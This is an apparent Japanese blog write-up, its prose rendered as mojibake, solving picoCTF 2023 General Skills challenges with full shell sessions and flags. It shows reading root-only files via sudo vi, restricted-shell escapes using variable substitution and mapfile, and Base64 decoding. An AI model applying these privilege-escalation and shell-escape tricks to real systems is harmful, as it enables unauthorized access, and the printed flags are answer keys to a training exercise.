åå ã¯ãpicoCTF ã® picoCTF 2024 ã®ãã¡ãCryptography ããã£ã¦ã¿ã¾ãããå
¨5åã®ãã¡ãæå¾ã® 2åã¯è§£ãã¾ããã§ããã
ä»åãã picoCTF ã® picoCTF 2023 ããã£ã¦ããã¾ãã
æåã¯ãGeneral Skills ã®å
¨6åããã£ã¦ããããã¨æãã¾ããEasy ã 1åãMedium ã 5åã§ãã
ããã§ã¯ããã£ã¦ããã¾ãã
ã¯ããã«
ãã»ãã¥ãªãã£ãã®è¨äºä¸è¦§ã§ããè¯ãã£ããåèã«ãã¦ãã ããã
ã»ãã¥ãªãã£ã®è¨äºä¸è¦§
picoCTF ã®å
¬å¼ãµã¤ãã¯ä»¥ä¸ã§ããè±èªã®ãµã¤ãã§ãããã·ã³ãã«ã§åãããããã®ã§å°ããã«é²ãããã¨ãã§ãã¾ãã
picoctf.com
ããã§ã¯ããã£ã¦ããã¾ãã
picoCTF 2023ï¼General Skills
ãã¤ã³ãã®ä½ãé ã«ãã£ã¦ããã¾ãã
repetitionsï¼100ãã¤ã³ãï¼
Easy ã®åé¡ã§ãã1ã¤ã®ãã¡ã¤ã«ï¼enc_flagï¼ããã¦ã³ãã¼ãã§ãã¾ãã
ããã¹ããã¡ã¤ã«ã§ãããBase64 ã®ããã§ãã
VmpGU1EyRXlUWGxTYmxKVVYwZFNWbGxyV21GV1JteDBUbFpPYWxKdFVsaFpWVlUxWVZaS1ZWWnVh
RmRXZWtab1dWWmtSMk5yTlZWWApiVVpUVm10d1VWZFdVa2RpYlZaWFZtNVdVZ3BpU0VKeldWUkNk
MlZXVlhoWGJYQk9VbFJXU0ZkcVRuTldaM0JZVWpGS2VWWkdaSGRXCk1sWnpWV3hhVm1KRk5XOVVW
VkpEVGxaYVdFMVhSbFZrTTBKVVZXMTRWMDVHV2toalJYUlhDazFyV25sVVZXaHpWakpHZEdWRlZs
aGkKYlRrelZERldUMkpzUWxWTlJYTkxDZz09Cg==
ã¨ããããããã³ã¼ããã¦ã¿ã¾ãããã¼ããã¾ã ãã³ã¼ãã§ãããã§ããä½åããã£ã¦ãã¨ã以ä¸ã«ãªãã¾ããã
picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_4557ec3e}
chronoï¼100ãã¤ã³ãï¼
Medium ã®åé¡ã§ãããµã¼ããèµ·åãã¦é²ããåé¡ã®ããã§ãã
SSHã§æ¥ç¶ãã¾ãããã°ã¤ã³ã§ãã¾ããã
$ ssh [email protected] -p 56794
The authenticity of host '[saturn.picoctf.net]:56794 ([13.59.203.175]:56794)' can't be established.
ED25519 key fingerprint is SHA256:dMTscRrUiURy7uMu5eGWwEKdd2FzqLzx6LfWhssWnNQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:56794' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 6.5.0-1023-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
picoplayer@challenge:~$
cron ã®ãã¨ã§ããããã/etc ãè¦ããã¨ãã¦ãã¨ããããæ¤ç´¢ããããã©ã°ãããã¾ãããcrontab ãè¦ããã¨ãããã¨ã ã£ããã§ããã
$ find /etc/ -type f | xargs grep pico
find: â/etc/ssl/privateâ: Permission denied
grep: /etc/.pwd.lock: Permission denied
/etc/group:picoplayer:x:1000:
grep: /etc/gshadow: Permission denied
/etc/passwd:picoplayer:x:1000:1000::/home/picoplayer:/bin/bash
grep: /etc/security/opasswd: Permission denied
grep: /etc/shadow: Permission denied
/etc/subgid:picoplayer:100000:65536
/etc/subuid:picoplayer:100000:65536
grep: /etc/ssh/ssh_host_ecdsa_key: Permission denied
grep: /etc/ssh/ssh_host_ed25519_key: Permission denied
grep: /etc/ssh/ssh_host_rsa_key: Permission denied
grep: /etc/ssh/ssh_host_dsa_key: Permission denied
/etc/crontab:# picoCTF{Sch3DUL7NG_T45K3_L1NUX_7754e199}
grep: /etc/gshadow-: Permission denied
grep: /etc/shadow-: Permission denied
grep: /etc/sudoers: Permission denied
grep: /etc/sudoers.d/README: Permission denied
Permissionsï¼100ãã¤ã³ãï¼
Medium ã®åé¡ã§ãããµã¼ããèµ·åãã¦é²ããåé¡ã®ããã§ãã
SSH ã§æ¥ç¶ãã¾ãããã°ã¤ã³ã§ãã¾ããã
$ ssh -p 49627 [email protected]
The authenticity of host '[saturn.picoctf.net]:49627 ([13.59.203.175]:49627)' can't be established.
ED25519 key fingerprint is SHA256:HKm/Bw1C+mhj23vO8tXULrgLFYvzP6gQH2IwgUiQTok.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:49627' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 6.5.0-1023-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
picoplayer@challenge:~$
root ã«æ¨©éææ ¼ããåé¡ã§ããããã
picoplayer ã®ä½¿ããã³ãã³ãã確èªãã¾ããvi ã使ãããããªã®ã§ãããã使ãã° root権éã§ããè¦ããªããã¡ã¤ã«ãè¦ãããã§ãã
$ sudo -l
[sudo] password for picoplayer:
Matching Defaults entries for picoplayer on challenge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoplayer may run the following commands on challenge:
(ALL) /usr/bin/vi
root ã®ãã¼ã ãã£ã¬ã¯ããªãè¦ã¦ã¿ã¾ããflag.txt ãããããã§ããéãã¨ãã©ã°ãããã¾ããã
$ sudo /usr/bin/vi /root/
" ============================================================================
" Netrw Directory Listing (netrw v165)
" /root
" Sorted by name
" Sort sequence: [\/]$,\<core\%(\.\d\+\)\=\>,\.h$,\.c$,\.cpp$,\~\=\*$,*,\.o$,\.obj$,\.info$,
" Quick Help: <F1>:help -:go up dir D:delete R:rename s:sort-by x:special
" ==============================================================================
../
./
.vim/
.bashrc
.flag.txt
.profile
.viminfo
picoCTF{uS1ng_v1m_3dit0r_f6ad392b}
ã§ããã
uselessï¼100ãã¤ã³ãï¼
Medium ã®åé¡ã§ãããµã¼ããèµ·åãã¦é²ããåé¡ã®ããã§ãã
SSH ã§æ¥ç¶ãã¾ãããã°ã¤ã³ã§ãã¾ããã
$ ssh [email protected] -p 53563
The authenticity of host '[saturn.picoctf.net]:53563 ([13.59.203.175]:53563)' can't be established.
ED25519 key fingerprint is SHA256:DiJcS90U9QussLS8HLR6l6BGJb5eCA0vRmA18IvDvw8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:53563' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.5.0-1023-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
picoplayer@challenge:~$
ãã¼ã ãã£ã¬ã¯ããªã確èªãã¾ããåé¡ã®ã¿ã¤ãã«ã¨åãååã®ã·ã§ã«ã¹ã¯ãªãããããã¾ããã
ã·ã§ã«ã¹ã¯ãªããã®å
容ã¯ã第1å¼æ°ã«ååæ¼ç®ã®ã©ãããæå®ãã¦ã第2å¼æ°ã¨ç¬¬3å¼æ°ã§æå®ãããååæ¼ç®ãè¡ããããªæãã§ãã
$ ls -alF
total 16
drwxr-xr-x 1 picoplayer picoplayer 20 Oct 27 06:23 ./
drwxr-xr-x 1 root root 24 Aug 4 2023 ../
-rw-r--r-- 1 picoplayer picoplayer 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 picoplayer picoplayer 3771 Feb 25 2020 .bashrc
drwx------ 2 picoplayer picoplayer 34 Oct 27 06:23 .cache/
-rw-r--r-- 1 picoplayer picoplayer 807 Feb 25 2020 .profile
-rwxr-xr-x 1 root root 517 Mar 16 2023 useless*
picoplayer@challenge:~$ cat useless
if [ $# != 3 ]
then
echo "Read the code first"
else
if [[ "$1" == "add" ]]
then
sum=$(( $2 + $3 ))
echo "The Sum is: $sum"
elif [[ "$1" == "sub" ]]
then
sub=$(( $2 - $3 ))
echo "The Substract is: $sub"
elif [[ "$1" == "div" ]]
then
div=$(( $2 / $3 ))
echo "The quotient is: $div"
elif [[ "$1" == "mul" ]]
then
mul=$(( $2 * $3 ))
echo "The product is: $mul"
else
echo "Read the manual"
fi
fi
ãã®ã·ã§ã«ã¹ã¯ãªããã¯ãroot ãã使ããã¨ã«ãªãããã§ãããä»ã®ã¨ãããããåããã¾ãããå¼æ°ã«ã³ãã³ããæå®ãããã/root/ ãæå®ãããããããããã¦ã¿ã¾ããããåããã¾ããã
åé¡æãè¦è¿ãã¨ãman ã¨æ¸ããã¦ãã¾ããGTFObins 㧠manã³ãã³ãã調ã¹ãã¨ãmanã³ãã³ãã®å¼æ°ã«æå®ãããã¡ã¤ã«ããªã¼ãããããã§ããä½æ°ã«ä»¥ä¸ãæå®ããã¨ããããã©ã°ã表示ããã¾ããããã¼ãããã³ããç¡ãã¨çµ¶å¯¾åããã¾ããã§ããã
$ man useless
useless
useless, â This is a simple calculator script
SYNOPSIS
useless, [add sub mul div] number1 number2
DESCRIPTION
Use the useless, macro to make simple calulations like addition,subtraction, multipliâ
cation and division.
Examples
./useless add 1 2
This will add 1 and 2 and return 3
./useless mul 2 3
This will return 6 as a product of 2 and 3
./useless div 6 3
This will return 2 as a quotient of 6 and 3
./useless sub 6 5
This will return 1 as a remainder of substraction of 5 from 6
Authors
This script was designed and developed by Cylab Africa
picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_4151}
Specialï¼300ãã¤ã³ãï¼
Medium ã®åé¡ã§ãããµã¼ããèµ·åãã¦é²ããåé¡ã®ããã§ãã
SSH ã§æ¥ç¶ãã¾ãããã°ã¤ã³ã§ãã¾ãããä½ãå®è¡ã§ãã¾ãããåç´ã«å
é ã大æåã«ãªã£ã¦ããããã§ã¯ãªãããã§ããå
é ã大æåã«ãã¦ã大æåã®ã¾ã¾ã§ãã
$ ssh -p 62062 [email protected]
The authenticity of host '[saturn.picoctf.net]:62062 ([13.59.203.175]:62062)' can't be established.
ED25519 key fingerprint is SHA256:tJ0wuU5yBvNO/FrkHmR9iY36VJClMhKV+Hq2sxqKFmg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:62062' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 6.5.0-1023-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Special$ ls
Is
sh: 1: Is: not found
Special$ pwd
Pod
sh: 1: Pod: not found
Special$ cat *
Cat *
sh: 1: Cat: not found
Special$ cd /
Ad /
sh: 1: Ad: not found
Special$ sudo -l
Judo al
sh: 1: Judo: not found
ãã£ã±ã試ãã¦ã¿ã¦ãåãã£ãã®ã¯ãå
é ã大æåã«ãªãã®ã§ã;
ã§ãè¤æ°ã®ã³ãã³ãã«ãã¦ãå
é ã®ã³ãã³ãã¯å¤æ°ä»£å
¥ã¨ãã«ãã¦ãããcatã³ãã³ãã¯ä½¿ãããechoã³ãã³ãã使ãããidã³ãã³ãã使ããããªã©ã§ãã
ä½ã¨ãªããblargh ã¨ãããã£ã¬ã¯ããªããããããªæãã§ãããã©ã°åºã¾ããã
Special$ AA=aa; cat .bashrc
Why go back to an inferior shell?
Special$ AA=aa; print\(\"\"\)
AA=aa; print\(\"\"\)
sh: 1: print(""): not found
$ AA=aa; printf "a"
AA=aa; print a
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LC_CTYPE = "C.UTF-8",
LANG = "ja_JP.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
Error: no such file "a"
Special$ AA=aa; var=cat; var2="*"; ${var} ${var2}
AA=aa; var=cat; var2="*"; ${var} ${var2}
cat: blargh: Is a directory
Special$ AA=aa; var=cat; var2="*"; var3="/*"; ${var} ${var2}${var3}
AA=aa; var=cat; var2="*"; var3="/*"; ${var} ${var2}${var3}
picoCTF{5p311ch3ck_15_7h3_w0r57_6a2763f6}
ã¬ãã£ã¬ãã£ãã£ã¦ããåºãã£ã¦æãã§ãããpicoCTF{5p311ch3ck_15_7h3_w0r57_6a2763f6}
ã§ããã
Specialerï¼400ãã¤ã³ãï¼
Medium ã®åé¡ã§ãããµã¼ããèµ·åãã¦é²ããåé¡ã®ããã§ãããã£ãã®åé¡ã¨ä¼¼ã¦ããã§æ鬱ã§ãï¼ç¬ï¼ã
SSH ã§æ¥ç¶ãã¾ãããã°ã¤ã³ãã¾ãããlsãcat ã¯ä½¿ããªãããã§ããããã£ã¬ã¯ããªã 3ã¤ãã£ã¦ããããã 1ã¤ãã¤ãã¡ã¤ã«ãããããã§ãã使ããã³ãã³ãã表示ããã¦ããã§ããã·ã§ã«ã¹ã¯ãªããï¼ï¼ï¼
$ ssh -p 50055 [email protected]
The authenticity of host '[saturn.picoctf.net]:50055 ([13.59.203.175]:50055)' can't be established.
ED25519 key fingerprint is SHA256:lMXKIC17ONzyUJx7ZYBY5VSwoxCz20uq5/Nm+IhXKew.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:50055' (ED25519) to the list of known hosts.
[email protected]'s password:
Specialer$ ls
-bash: ls: command not found
Specialer$ cat *
-bash: cat: command not found
Specialer$ ./
abra/ ala/ sim/
Specialer$ printf abra/*
abra/cadabra.txt
Specialer$ printf ala/*
ala/kazam.txt
Specialer$ printf sim/*
sim/city.txt
Specialer$
! builtin dirs exit history pushd suspend unalias
./ caller disown export if pwd test unset
case do false in read then until
[ cd done fc jobs readarray time wait
[[ command echo fg kill readonly times while
]] compgen elif fi let return trap {
alias complete else for local select true }
bash compopt enable function logout set type
bg continue esac getopts mapfile shift typeset
bind coproc eval hash popd shopt ulimit
break declare exec help printf source umask
3ã¤ã®ãã¡ã¤ã«ã表示ãããã¨ããã§ããä»ã®ãã¡ã¤ã«ãããã¾ããã.profile ã«1è¡ã ãå
¥ã£ã¦ãã¦ããã®ä»ã®ãã¡ã¤ã«ã¯ç©ºã®ããã«è¦ãã¾ãã
Specialer$ while read line; do echo $line; done < abla/cadabra.txt
Specialer$ while read line; do echo $line; done < ala/kazam.txt
Specialer$ while read line; do echo $line; done < sim/city.txt
Specialer$ read ./ala/
kazam.txt mode.txt
Specialer$ read ./abra/cada
cadabra.txt cadaniel.txt
Specialer$ read ./sim/
city.txt salabim.txt
Specialer$ read ./
.hushlogin .profile abra/ ala/ sim/
Specialer$ while read line; do echo $line; done < .hushlogin
Specialer$ while read line; do echo $line; done < .profile
export PS1='Specialer$ '
ã¨ã«ããã使ããã³ãã³ãã試ãã¦ããã¾ãããªããåºã¾ããï¼ãªãã§ãread ã§ã¯åºãªãã£ãã®ãã¯åããã¾ããããåºãã®ã§ããã¨ãã¾ãã
Specialer$ mapfile array < abra/cadabra.txt ; echo $array
Nothing up my sleeve!
Specialer$ mapfile array < abra/cadaniel.txt ; echo $array
Yes, I did it! I really did it! I'm a true wizard!
Specialer$ mapfile array < ala/kazam.txt ; echo $array
return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_c42168d9}
Specialer$ mapfile array < ala/mode.txt ; echo $array
Yummy! Ice cream!
Specialer$ mapfile array < sim/city.txt ; echo $array
05ed181c-4aa0-4d4a-8505-2fe6ca9097d3
Specialer$ mapfile array < sim/salabim.txt ; echo $array
#He was so kind, such a gentleman tied to the oceanside#
ä»åã¯ã®ãã¢ããããã«é å¼µãã¾ããã
ãããã«
ä»åã¯ãpicoCTF ã® picoCTF 2023 ã®ãã¡ãGeneral Skills ã®å
¨6åã«ææ¦ãã¾ãããéä¸ã§ããããã«ãªãã¾ããããç²ã£ã¦ãå
¨6å解ãã¾ããï¼
æå¾ã«ãªãã¾ããããã¨ã³ã¸ãã¢ã°ã«ã¼ãã®ã©ã³ãã³ã°ã«åå ä¸ã§ãã
æ°æ¥½ã«ãããã¨ãããããé¡ããããã¾ãð
ä»åã¯ä»¥ä¸ã§ãï¼
æå¾ã¾ã§ãèªã¿ããã ãããããã¨ããããã¾ããã